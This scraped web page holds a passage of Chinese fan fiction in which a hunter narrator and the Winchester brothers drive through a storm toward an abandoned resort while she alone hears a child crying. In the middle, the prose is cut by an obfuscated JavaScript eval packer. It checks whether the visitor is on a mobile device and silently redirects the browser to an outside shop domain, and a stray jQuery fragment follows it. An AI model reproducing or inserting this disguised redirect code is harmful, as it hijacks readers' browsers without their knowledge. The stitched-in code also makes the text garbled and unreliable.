“等等，萨姆。”我下意识地叫了出来，想要拦住萨姆关车门。
不过萨姆已经顺手把门关上了。听到我叫他之后，萨姆有些惊讶地侧头看着我，“怎么了？”
怎么了？我一边抬手摇下自己这边的车窗，一边问他们其他人：“难道你们没听到什么声音吗？”
“听到什么声音？”迪恩在车后座抹了把刚才下车时淋湿的头发，“这么大的雨，除了风雨声和海浪声，还能听到什么？”
“我听到……”我犹豫了片刻，因为摇下车窗之后确实就像迪恩说的那样，除了风雨声、海浪声之外，什么都听不到，“我觉得我听到小孩子哭。”
后车座上，我弟弟还有迪恩纷纷掏出自己口袋里的EMF，打开开关。
没有幽灵或者鬼魂会激发的反应。
什么都没有。
“也许你听错了？”我弟弟皱着眉，语气像是自己也不太相信这句话，“我是说，风的确很大。”
“再大也不会像孩子哭啊。”驾驶座的萨姆说了一句，把车子重新开上了路，“但我们其他人的确什么都没听到，这种天气、这种地方也不像是能有小孩儿大哭的样子。”
我叹了口气，捏了捏眉心，“也许我确实听错了。”
迪恩踢了驾驶座一脚，“说不定是别的什么，像是温迪戈那样通过声音诱捕猎物。”
“温迪戈可不会学小孩子哭。”他弟弟没有回头，不过在后视镜里用眼神警告迪恩别再踢座位靠背，“反正大家都醒了，打起精神来。我们都是猎人，小心一点儿，提高警惕。”
“丹，”迪恩把脑袋挤进驾驶室，“说一说，你感觉怎么样？”
我朝窗户那边歪过去，伸手按住迪恩的脑门，“我感觉很正常，但你要是再往前挤，我就要被挤出窗外了。”
迪恩缩回去了一点儿，说：“要真是怪物，只有你听到了哭声，说明那玩意儿盯上你了。”
“要是我的‘怪物雷达’响了，我会让你知道的。”我嘟囔道。
“‘怪物雷达’？”萨姆一边开车一边抽空看了我一眼。
我弟弟在后座说道：“她说的是第六感。”
“得了吧，我的第六感从没准过。”我靠在椅背上，风雨从打开的车窗里卷进来，但我不想立刻关上窗户，“也别瞎担心了，就按计划去怀恩山庄吧。”
不管是我听错了，还是黑暗中真有什么在逡巡不去，在这种地方浪费时间都不值得。我们得尽快找到我的女儿，在那座海底城市里。
这个念头还没转完，我就又一次听到了，孩子的哭声，
“听。”我压低声音，“听到了吗？”哭声持续不断，微弱，但在风雨声中听起来却足够清晰。
“我什么也没听到。”萨姆在我后面轻声说，他看了眼迪恩，后者立刻摇了摇头。
开车的萨姆也跟着摇头，“没有哭声。”
我用力咬住嘴唇，但这并没有让听力上的错觉或者幻觉消失，“我不喜欢这个，伙计们。”
“一样。”迪恩在座位上左顾右盼，把自己那边的车窗也摇了下来，“我们都听不见，说明你身上有什么独特的东西，是那个让你听到哭声的玩意儿感兴趣的。”
“我想我曾经读到过类似的怪物，”我弟弟冷不丁说道，“你们有人记得吗？‘诺克塔布’，意思是在夜间哭泣的孩童。但它并不是人类死后的残留存在，而是山林间的刚出生就被抛弃的小动物死后凝聚在一起的灵魂。”
驾驶座上，萨姆皱了皱眉，摇摇头，“我不记得读到过这东西。”他听起来有点儿不服气。
我弟弟笑起来，“不是在记录者档案里读到的，是小时候丹妮搞来的乱七八糟的鬼怪读物。后来老爸把书都扔了，不过在那之前我就都读完了。”
“那些破烂儿不都是瞎编的吗？”我在萨姆的提醒下隐约想了起来，那些纸张柔软、气味好闻的二手书，封面总是画着一些惊悚的简笔画，暗示其内容也许需要勇气才能读完。
“不全是，”萨姆说，“我们还遇到过那上面写过的一种，不是怪物，是诅咒物件。”
另一个萨姆感兴趣了，“什么诅咒物件？我和迪恩也遇到过一些，这种东西总是千奇百怪，而且处理起来相当棘手。”
对此我深有同感，“兔脚、芭蕾舞鞋，没一个让人省心的。”
“红伞。”我弟弟说，“就是我刚才提到的那本书上写过的诅咒物件。记得吗，丹妮，那是在乡下，某个公交站连续失踪了好几个小孩。”
“哦。”我还真的想起来了，“费了咱俩老大劲才发现出问题的是那把红色雨伞。最后救回来一个小孩儿。”
萨姆点点头，“安迪，十三岁。勇敢的孩子。”
我不算惊讶地笑了笑，“记得真清楚啊，萨米。”
“所以你们在书上读到过关于这个‘红伞’的诅咒物件，然后又在现实中遇到了相关联的案件。”另一个萨姆说道，“这本书也许不是瞎编的。那么关于‘诺克塔布’，这本书写了什么？”
“其实书里都是一个个故事，”我弟弟回答，“一个关于住在森林边上的三口之家，小孩病死之后，正在准备离婚的父母在雨夜听到孩子哭声的故事。”
迪恩评价，“听起来像是个糟糕的故事。”他坐直了一些，“如果真的有人在搜集这些怪物相关的故事然后写成书的话，我们怎么会不知道呢？”
他弟弟说：“呃，因为你不怎么读书？”
“你可是挺喜欢读书，”迪恩瞅了他的后脑勺一眼，“你怎么也没发现？”
“谁知道呢，迪恩，也许是因为小时候你没给我买过那些书。”萨姆窃笑起来。
迪恩翻了个大大的白眼。
车子在沉闷的响声中颠簸了几下，沿着崎岖的山路继续上爬。驶入沿山的树林中后，我和迪恩先后把车窗关上了，因为路越来越窄，而两侧茂密的树林正用细长、潮湿的树枝不断挑衅我们。
哪怕关上车窗之后，“噼噼啪啪”声仍旧不绝于耳，像是那些旺盛生长的树不喜欢我们夤夜造访，所以给了我们的交通工具一顿好打。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947862|205988||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“真是个倒霉地方。”迪恩没好气地抱怨，“这以前真是个度假山庄吗？”
“九六年以前，确实是。”他弟弟回答，“后来因为大火，这地方直接废弃了。这条路以前说不定状况要更好一些。”
“谁想在起过火的凶宅里过夜？”我喃喃说道，“现在就来找我报名。”
萨姆笑起来，偏头看了我一眼，“对我们来说，只能算个寻常星期三吧。这甚至不是正经八百的凶宅。”
迪恩说：“要是正经八百的凶宅，咱们带的军火可是有点儿不够看。”
“你已经带了两把大家伙了，还有手枪、砍刀、飞镖，”他弟弟叹了口气，“幸好这一路我们没被交警拦下来，这辆车可没有暗格可以藏东西。”
“告诉过你了，萨米，”迪恩哼了一声，“不被警察拦下检查的要点就在于，表现得正常一点。”
萨姆憋回去一声笑，“是啊，你告诉过我了。”
迪恩说：“对你来说可不容易，毕竟你是个怪胎。”
“雨看起来一时半会儿停不了呢。”我弟弟叹了口气，再次往后靠，直到深深地陷进皮质座椅当中，“真希望我们打包军火的时候也打包伙食了。”
“给。”迪恩从口袋里掏出一个皱巴巴的纸袋，“剩了一口。”
萨姆接过打开纸袋闻了一下，带着嫌弃的表情迅速把袋子折好还给了迪恩，“你自己留着下酒吧。”
迪恩哼了一声，从里面掏出烤蚕豆一颗一颗扔进嘴巴里。
我头也不回地把手往后伸，迪恩于是给我倒了几颗在手上。味儿还行，肯定没坏，不过也没刚烤好的时候那么香了。
“我们快到了。”萨姆已经放慢了车速，他俯身在方向盘上，努力从风挡玻璃望出去，借着车前灯想要看清弯弯绕绕的山路，还有前面树影后时不时闪现一下的山庄轮廓。
“花了够久。”迪恩把空的纸袋子团了团，打开车窗扔了出去。
他弟弟抗议了一下，“嘿，别乱丢垃圾。”
迪恩拍了拍手，嚼着豆子问：“你算老几，我妈妈吗？”
“只是而环保主义者而已。”萨姆叹了口气，“嘿，别在车座上擦手，迪恩。万一还有人得坐在那儿呢。”
“他们会在坐下去之前擦干净的，我很确信。”迪恩嬉皮笑脸地说。
我觉得他这么做十有八九是为了让萨姆着恼，真是孩子气。没准儿就是这样，男人永远也长不大，他们只是穿上西装、打上领带，然后假装自己长大了。
但萨姆说得对，我们的确快到了，最后一段折磨人的弯道过后，我们终于在一道挂着粗大铁锁的大铁门前停下，门后仍有一段车道，不过山庄近在眼前。
三个幼稚的男人猜拳决定谁下去剪断铁锁，我本来想省去他们的麻烦自己去，但我弟弟提出了反对意见。
我并不觉得之前听到的哭声，或者萨米小时候读到的恐怖故事能说服我雨夜下车会是一件危险的事，但萨姆固执起来往往很让人头疼，我决定这次还是随他的意好了。